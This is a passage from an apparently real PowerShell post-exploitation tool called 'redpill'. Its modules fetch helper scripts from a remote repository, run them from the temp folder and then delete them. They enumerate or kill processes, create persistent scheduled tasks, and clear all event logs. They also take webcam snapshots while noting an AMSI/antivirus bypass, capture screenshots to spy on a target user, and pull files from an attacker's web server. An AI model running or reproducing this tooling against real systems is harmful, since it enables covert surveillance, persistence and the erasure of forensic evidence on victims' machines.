-- ---- -------------- --------- -----------
8524 ACMON 1, 0, 0, 0 17/07/2021 22:01:19 ACMON
1724 ApplicationFrameHost 10.0.19041.746 17/07/2021 21:59:30 Application Frame Host
7904 AsusTPLoader 1.0.51.0 17/07/2021 21:59:12 ASUS Smart Gesture Loader
5092 dllhost 10.0.19041.546 17/07/2021 21:58:53 COM Surrogate
9300 HxOutlook 16.0.13426.20910 17/07/2021 23:01:51 Microsoft Outlook
4416 WinStore.App 0.0.0.0 17/07/2021 22:02:51 Store
6272 YourPhone 1.21052.124.0 17/07/2021 21:58:36 YourPhone
#>
## Download GetProcess.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\GetProcess.ps1")){## Download GetProcess.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetProcess.ps1 -Destination $Env:TMP\GetProcess.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\GetProcess.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 9){## Corrupted download detected => DefaultFileSize: 9,6572265625/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\GetProcess.ps1"){Remove-Item -Path "$Env:TMP\GetProcess.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetProcess -ieq "Enum" -and $ProcessName -ieq "false"){
powershell -File "$Env:TMP\GetProcess.ps1" -GetProcess Enum
}ElseIf($GetProcess -ieq "Enum" -and $ProcessName -ne "false"){
powershell -File "$Env:TMP\GetProcess.ps1" -GetProcess Enum -ProcessName $ProcessName -Verb $Verb
}ElseIf($GetProcess -ieq "Kill"){
powershell -File "$Env:TMP\GetProcess.ps1" -GetProcess kill -ProcessName $ProcessName
}ElseIf($GetProcess -ieq "Tokens"){
powershell -File "$Env:TMP\GetProcess.ps1" -GetProcess Tokens
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\GetProcess.ps1"){Remove-Item -Path "$Env:TMP\GetProcess.ps1" -Force}
If(Test-Path -Path "$Env:TMP\Get-OSTokenInformation.ps1"){Remove-Item -Path "$Env:TMP\Get-OSTokenInformation.ps1" -Force}
}
If($GetTasks -ieq "Enum" -or $GetTasks -ieq "Create" -or $GetTasks -ieq "Delete"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Enumerate\Create\Delete running tasks
.DESCRIPTION
This module enumerates remote host running tasks
Or creates a new task Or deletes existence tasks
.NOTES
Required Dependencies: cmd|schtasks {native}
Remark: Module parameters are auto-set {default}
Remark: Tasks have the default duration of 9 hours.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetTasks Enum
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetTasks Create
Use module default settings to create the demo task
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetTasks Delete -TaskName mytask
Deletes mytask taskname
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetTasks Create -TaskName mytask -Interval 10 -Exec "cmd /c start calc.exe"
.OUTPUTS
TaskName Next Run Time Status
-------- ------------- ------
ASUS Smart Gesture Launcher N/A Ready
CreateExplorerShellUnelevatedTask N/A Ready
OneDrive Standalone Update Task-S-1-5-21 24/01/2021 17:43:44 Ready
#>
## Download GetTasks.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\GetTasks.ps1")){## Download GetTasks.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetTasks.ps1 -Destination $Env:TMP\GetTasks.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\GetTasks.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 11){## Corrupted download detected => DefaultFileSize: 11,232421875/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\GetTasks.ps1"){Remove-Item -Path "$Env:TMP\GetTasks.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetTasks -ieq "Enum")
{
If($TaskName -ieq "false")
{
powershell -File "$Env:TMP\GetTasks.ps1" -GetTasks Enum
}
Else
{
powershell -File "$Env:TMP\GetTasks.ps1" -GetTasks Enum -TaskName "$TaskName"
}
}
ElseIf($GetTasks -ieq "Create")
{
If($Exec -ieq "false"){$Exec = "cmd.exe"}
If($TaskName -ieq "false"){$TaskName = "RedPillTask"}
powershell -File "$Env:TMP\GetTasks.ps1" -GetTasks Create -TaskName $TaskName -Interval $Interval -Exec $Exec -Persiste $Persiste
}
ElseIf($GetTasks -ieq "Delete")
{
powershell -File "$Env:TMP\GetTasks.ps1" -GetTasks Delete -TaskName $TaskName
}
Write-Host ""
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\GetTasks.ps1"){Remove-Item -Path "$Env:TMP\GetTasks.ps1" -Force}
}
If($GetLogs -ieq "Enum" -or $GetLogs -ieq "DeleteAll" -or $GetLogs -ieq "Verbose" -or $getLogs -ieq "Yara"){
If($NewEst -lt "1"){$NewEst = "3"} ## Set the min logs to display
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Enumerate eventvwr logs OR Clear All event logs
.NOTES
Required Dependencies: wevtutil {native}
The Clear @argument requires Administrator privs
on shell to be abble to 'Clear' Eventvwr entrys.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetLogs Enum
Lists ALL eventvwr categorie entrys
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetLogs Verbose
List the newest 3(default) Powershell\Application\System entrys
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetLogs Verbose -NewEst 28
List the newest 28 Eventvwr Powershell\Application\System entrys
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetLogs Yara -NewEst 28
List -NewEst "28" logfiles with Id: 59,300,4104
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetLogs DeleteAll
Remark: Clear @arg requires Administrator privs on shell
.OUTPUTS
LogMode MaximumSizeInBytes RecordCount LogName
------- ------------------ ----------- -------
Circular 15728640 3978 Windows PowerShell
Circular 20971520 1731 System
Circular 1052672 0 Internet Explorer
Circular 20971520 1122 Application
Circular 1052672 1729 Microsoft-Windows-WMI-Activity/Operational
Circular 1052672 520 Microsoft-Windows-Windows Defender/Operational
Circular 15728640 719 Microsoft-Windows-PowerShell/Operational
Circular 1052672 499 Microsoft-Windows-Bits-Client/Operational
Circular 1052672 0 Microsoft-Windows-AppLocker/EXE and DLL
#>
## Download GetLogs.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\GetLogs.ps1")){## Download GetLogs.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetLogs.ps1 -Destination $Env:TMP\GetLogs.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\GetLogs.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 26){## Corrupted download detected => DefaultFileSize: 26,654296875/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\GetLogs.ps1"){Remove-Item -Path "$Env:TMP\GetLogs.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetLogs -ieq "Enum"){
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs Enum
}ElseIf($GetLogs -ieq "Verbose"){
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs Verbose -NewEst "$NewEst"
}ElseIf($GetLogs -ieq "Yara"){
If($Verb -ne "False"){
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs Yara -Verb "$Verb" -NewEst "$NewEst" -Id "$Id"
}Else{
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs Yara -NewEst "$NewEst" -Id "$Id"
}
}ElseIf($GetLogs -ieq "DeleteAll"){
If($Verb -ne "False"){
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs DeleteAll -Verb "$Verb"
}Else{
powershell -File "$Env:TMP\GetLogs.ps1" -GetLogs DeleteAll
}
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\GetLogs.ps1"){Remove-Item -Path "$Env:TMP\GetLogs.ps1" -Force}
}
If($Camera -ieq "Enum" -or $Camera -ieq "Snap"){
<#
.SYNOPSIS
Author: @tedburke|@r00t-3xp10it
Helper - List computer cameras or capture camera screenshot
.NOTES
Remark: WebCam turns the ligth ON taking snapshots.
Using -Camera Snap @argument migth trigger AV detection
Unless target system has powershell version 2 available.
In that case them PS version 2 will be used to execute
our binary file and bypass AV amsi detection.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Camera Enum
List ALL WebCams Device Names available
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Camera Snap
Take one screenshot using default camera
.OUTPUTS
StartTime ProcessName DeviceName
--------- ----------- ----------
17:32:23 CommandCam USB2.0 VGA UVC WebCam
#>
## Download Camera.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\Camera.ps1")){## Download Camera.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Camera.ps1 -Destination $Env:TMP\Camera.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\Camera.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 5){## Corrupted download detected => DefaultFileSize: 5,83984375KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\Camera.ps1"){Remove-Item -Path "$Env:TMP\Camera.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($Camera -ieq "Enum"){
powershell -File "$Env:TMP\Camera.ps1" -Camera Enum
}ElseIf($Camera -ieq "Snap"){
powershell -File "$Env:TMP\Camera.ps1" -Camera Snap
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\Camera.ps1"){Remove-Item -Path "$Env:TMP\Camera.ps1" -Force}
cd $Working_Directory
}
If($Screenshot -gt 0){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Capture remote desktop screenshot(s)
.DESCRIPTION
This module can be used to take only one screenshot
or to spy target user activity using -Delay parameter.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Screenshot 1
Capture 1 desktop screenshot and store it on %TMP%.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Screenshot 5 -Delay 8
Capture 5 desktop screenshots with 8 secs delay between captures.
.OUTPUTS
ScreenCaptures Delay Storage
-------------- ----- -------
1 1(sec) C:\Users\pedro\AppData\Local\Temp
#>
## Download Screenshot.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\Screenshot.ps1")){## Download Screenshot.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Screenshot.ps1 -Destination $Env:TMP\Screenshot.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\Screenshot.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 3){## Corrupted download detected => DefaultFileSize: 3,2705078125/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\Screenshot.ps1"){Remove-Item -Path "$Env:TMP\Screenshot.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
powershell -File "$Env:TMP\Screenshot.ps1" -Screenshot $Screenshot -Delay $Delay
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\Screenshot.ps1"){Remove-Item -Path "$Env:TMP\Screenshot.ps1" -Force}
}
If($Upload -ne "false"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Download Files from Attacker Apache2 (BitsTransfer)
.NOTES
Required Dependencies: BitsTransfer {native}
File to Download must be stored in attacker apache2 webroot.
-Upload and -ApacheAddr Are Mandatory parameters (required).
-Destination parameter its auto set to $Env:TMP by default.
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Upload FileName.ps1 -ApacheAddr 192.168.1.73 -Destination $Env:TMP\FileName.ps1
Downloads FileName.ps1 script from attacker apache2 (192.168.1.73) into $Env:TMP\FileName.ps1 Local directory
#>
## Syntax Examples
Write-Host "Syntax Examples" -ForegroundColor Green
Write-Host "syntax : .\redpill.ps1 -Upload [ file.ps1 ] -ApacheAddr [ Attacker ] -Destination [ full\Path\file.ps1 ]"
Write-Host "Example: .\redpill.ps1 -Upload FileName.ps1 -ApacheAddr 192.168.1.73 -Destination `$Env:TMP\FileName.ps1`n"
Start-Sleep -Seconds 2
## Download Upload.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\Upload.ps1")){## Download Upload.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Upload.ps1 -Destination $Env:TMP\Upload.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\Upload.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 5){## Corrupted download detected => DefaultFileSize: 5,3623046875/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\Upload.ps1"){Remove-Item -Path "$Env:TMP\Upload.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
powershell -File "$Env:TMP\Upload.ps1" -Upload $Upload -ApacheAddr $ApacheAddr -Destination $Destination
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\Upload.ps1"){Remove-Item -Path "$Env:TMP\Upload.ps1" -Force}
}
If($MsgBox -ne "false"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Spawn a msgBox on local host {ComObject}
.NOTES
Required Dependencies: Wscript ComObject {native}
Remark: Double Quotes are Mandatory in -MsgBox value
Remark: -TimeOut 0 parameter maintains msgbox open.
MsgBox Button Types
-------------------
0 - Show OK button.
1 - Show OK and Cancel buttons.
2 - Show Abort, Retry, and Ignore buttons.
3 - Show Yes, No, and Cancel buttons.
4 - Show Yes and No buttons.